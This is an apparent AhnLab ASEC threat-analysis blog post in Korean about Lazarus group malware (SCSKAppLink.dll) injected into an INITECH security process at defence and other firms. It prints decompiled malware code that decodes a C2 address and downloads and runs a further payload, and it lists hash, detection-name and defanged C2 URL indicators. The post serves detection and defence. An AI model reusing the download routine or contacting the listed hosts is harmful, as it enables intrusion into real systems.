INITECH 프로세스를 악용하는 라자루스 공격 그룹의 신종 악성코드

asec.ahnlab.com/ko/33706/

2022년 4월 18일

안랩 ASEC 분석팀은 2022년 1분기에 방산 업체를 포함한 약 47개의 기업 및 기관이 라자루스 그룹에서 유포 중인 악성코드에 감염되고 있는 정황을 파악하고, 이를 심각하게 판단해 모니터링 하고 있다.

피해 업체들에서는 INITECH사 프로세스(inisafecrosswebexsvc.exe)에 의해 악성 행위가 발생되는 것이 확인됐다.

피해 시스템에서 inisafecrosswebexsvc.exe에 대해 다음과 같은 내용을 우선 확인했다.
inisafecrosswebexsvc.exe 파일은

- INITECH사의 보안 프로그램인 INISAFE CrossWeb EX V3의 실행 파일이다.
- 정상 파일과 같은 해시값을 가진다. (MD5:4541efd1c54b53a3d11532cb885b2202)
- INITECH사에 의해 정상 서명된 파일이다.
- INISAFE Web EX Client로 침해 시점 이전부터 시스템에 설치되어 있었으며, 변조의 흔적 또한 발견되지 않았다.
- 시스템 부팅 시 iniclientsvc_x64.exe에 의해 실행되는데, 침해 당일에도 같은 방식으로 실행됐다.

확인된 inisafecrosswebexsvc.exe 파일은 변조되지 않은 정상 파일이며, 당시 프로세스 실행 이력과, 악성코드인 SCSKAppLink.dll의 코드를 확인한 결과 SCSKAppLink.dll이 inisafecrosswebexsvc.exe에 인젝션돼 동작한 것으로 파악됐다.

SCSKAppLink.dll에는 인젝션된 호스트 프로세스에 따라 분기하는 코드가 포함돼 있다. 분기 코드에는 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작하는 경우 hxxps://materic.or.kr/include/main/main_top.asp?prd_fld=racket에 접속해 추가 악성코드를 다운로드하고 실행하도록 작성되어 있다.

그외 나머지 분기에는 svchost.exe, rundll32.exe, notepad.exe 에 인젝션 여부를 판단하도록 돼있으나, 해당 분기문에는 실행 코드가 포함되지 않은 것으로 보아 완성된 악성코드는 아닌 것으로 보여진다.

SCSKAppLink.dll이 인젝션된 inisafecrosswebexsvc.exe는 악성코드 배포지에 접속한 뒤, 인터넷 임시폴더 경로에 다운로더 악성코드 main_top[1].htm 파일을 다운로드하고, SCSKAppLink.dll로 복사했다.

- 다운로드 경로 : c:\users\<사용자 >\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm
- 복사된 경로 : C:\Users\Public\SCSKAppLink.dll

```
    hLibModule = hinstDLL;
    GetModuleFileNameW(0, Filename, 0x201u);
    v3 = Filename[0];
    v4 = wcsrchr(Filename, 0x5Cu);
    wcscpy_s(Destination, 0x40u, v4 + 1);
    fn_vswprintf_s(FileName, (wchar_t *)L"%c:\\%s", v3, v22);
    if ( !_wcsicmp(Destination, L"svchost.exe") )
    {
      fn_strcpy(str_arg, L"packNetUpdate", 13);
      goto LABEL_12;
    }
    if ( !_wcsicmp(Destination, L"svchost.exe") )
    {
      fn_strcpy(str_arg, L"natService", 10);
      goto LABEL_12;
    }
    if ( _wcsicmp(Destination, L"rundll32.exe") )
    {
      if ( _wcsicmp(Destination, L"notepad.exe") && _wcsicmp(Destination, str_INISAFECrossWebExSvc_exe) )
      {
        fn_strcpy(str_arg, L"nutPackage", 10);
      }
      else
      {
        fn_strcpy(str_arg, L"nusrmgr", 7);
        fn_vswprintf_s(Buffer, (wchar_t *)L"%c:\\%s", v3, v18);
        fn_vswprintf_s(v13, (wchar_t *)L"%c:\\%s", v3, v20);
      }
LABEL_12:
      if ( GetFileAttributesW(FileName) == -1 ) // "C:\Users\Public\SCSKAppLink.dll"
        fn_strcpy(str_arg, L"natService", 10);
      if ( GetFileAttributesW(Buffer) == -1 && GetFileAttributesW(v13) == -1 )// "C:\Program Files (x86)\INI
                                                                              // "C:\Program Files\INITECH\INISAFE Web EX Client\INISAFECr
        sub_10002A20(str_arg, L"packNetUpdate");
      StartupInfo.cb = 0x44;
```

그림 1. SCSKAppLink.dll 의 호스트 프로세스에 따른 분기 코드

```
fn_memset(v6, v5);
fn_decStr((wchar_t *)v6, "wdlw_S7SvLBxv");    // "materic.or.kr"
v8 = 0;
fn_memset(v7, v1);
fn_decStr((wchar_t *)v7, "3jdVsOCxqlT9:-1b<xSVcRrbc7?58eDp2XxxGydY9");// "/include/main/main_top.asp?prd_fld=racket"
LOBYTE(v8) = 1;
v4 = sub_100013A0(v7);
v3 = v2;
sub_100013A0(v6);
fn_downFile(v3, v4);                          // "https://materic.or.kr/include/main/main_top.asp?prd_fld=racket"
FreeLibraryAndExitThread(hLibModule, 0);
```

그림 2. SCSKAppLink.dll 코드 (호스트가 inisafecrosswebexsvc.exe인 경우 접근하는 C2 주소)

이와 동일한 악성코드가 몇일전 시만텍사의 블로그에 언급됐다. 지난 4월 15일에 게시된 “Lazarus Targets Chemical Sector”라는 제목의 블로그에는 라자루스 공격 그룹이 화학 섹터를 공격한 내용을 다루고 있다. 라자루스의 공격이 국내 방산, 화학 등 주요 업계를 대상으로 확대되고 있는 것으로 보인다. (https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical)

안랩은 SCSKAppLink.dll을 라자루스 공격 그룹이 제작한 악성코드로 판단하고, 관련된 악성코드를 지속해서 추적하고 있다. 현재까지 파악된 관련 악성코드의 IOC는 다음과 같다.

[파일 진단]

- Data/BIN.Encoded
- Downloader/Win.LazarAgent
- Downloader/Win.LazarShell
- HackTool/Win32.Scanner
- Infostealer/Win.Outlook
- Trojan/Win.Agent
- Trojan/Win.Akdoor
- Trojan/Win.LazarBinder
- Trojan/Win.Lazardoor
- Trojan/Win.LazarKeyloger
- Trojan/Win.LazarLoader
- Trojan/Win.LazarPortscan
- Trojan/Win.LazarShell
- Trojan/Win.Zvrek
- Trojan/Win32.Agent

[파일 MD5]

- 0775D753AEAEBC1CFF491E42C8950EC0
- 0AC90C7AD1BE57F705E3C42380CBCCCD
- 0F994F841C54702DE0277F19B1AC8C77
- 196FE14B4EC963BA98BBAF4A23A47AEF
- 1E7D604FADD7D481DFADB66B9313865D
- 2EF844ED5DCB9B8B38EBDE3B1E2A450C

- 39457097686668A2F937818A62560FE7
- 3D7E3781BD0B89BA88C08AA443B11FE5
- 3ECD26BACD9DD73819908CBA972DB66B
- 4B96D9CA051FC68518B5A21A35F001D0
- 4E2DFD387ADDEE4DE615A57A2008CFC6
- 5349C845499A6387823FF823FCCAA229
- 570F65824F055DE16EF1C392E2E4503A
- 683713A93337F343149A5B3836475C5D
- 6929CAA7831AE2600410BC5664F692B3
- 6A240B2EDC1CA2B652DBED44B27CB05F
- 7188F827D8106F563980B3CCF5558C23
- 7607EF6426F659042D3F1FFBFEA13E6A
- 7870DECBC7578DA1656D1D1FF992313C
- 7BF6B3CD3B3034ABB0967975E56F0A4B
- 81E922198D00BE3E6D41DCE773C6A7FB
- 878AD11012A2E965EA845311FB1B059F
- 8FCDF6506CA05EFAFC5AF35E0F09B341
- 933B640D26E397122CE8DE9293705D71
- A329AC7215369469D72B93C1BAC1C3C4
- A8B90B2DD98C4FDD4AE84A075A5A9473
- ADF0D4BBEFCCF342493E02538155E611
- B213063F28E308ADADF63D3B506E794E
- B3E03A41CED8C8BAA56B8B78F1D55C22
- B5EAEC8CE02D684BAA3646F39E8BC9B5
- B85FDE972EE618A225BFBA1CEF369CC8
- B91D1A5CC4A1DE0493C1A9A9727DB6F9
- B974BC9E6F375F301AE2F75D1E8B6783
- BB9F5141C53E74C9D80DCE1C1A2A13F0
- C99D5E7EDBA670515B7B8A4A32986149
- CB5401C760B89D80657FC0EFC605AE62
- D3BFA72CC8F6F8D3D822395DBC8CD8B8
- D57F8CD2F49E34BEDA94B0F90426F7B3
- D9BC5EDCE4B1C4A941B0BF8E3FAC3EA8
- DD3710ABFACDF381801BB11CF142BD29
- DD759642659D7B2C7FD365CBEFF4942E
- E04206BA707DE4CDE94EFEDA6752D0CA
- E6265DCCFDEF1D1AA134AEC6236734F8
- E84404DED7096CD42EF39847DE002361
- E8D7EAF96B3E5AEE219013C55682968C
- EC99EBB78857211EB52EB84750D070E7
- F15FD25A4C6E94E2202090BBB82EBC39
- F48369111F2FAABB0CCB5D1D90491E0E

[IP/URL]

- hxxps://www.materic.or.kr/include/main/main_top.asp
- hxxps://www.gaonwell.com/data/base/mail/login.asp
- hxxp://www.h-cube.co.kr/main/image/gellery/gallery.asp
- hxxps://www.shoppingbagsdirect.com/media/images/?ui=t
- hxxps://www.okkids.kr/html/program/display/?re=32
- hxxps://www.namchoncc.co.kr/include/?ind=55

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 'AhnLab TIP' 구독 서비스를 통해 확인 가능하다.

Categories:악성코드 정보, 침해사고 분석 사례

Tagged as:Forensics, 침해사고, Lazarus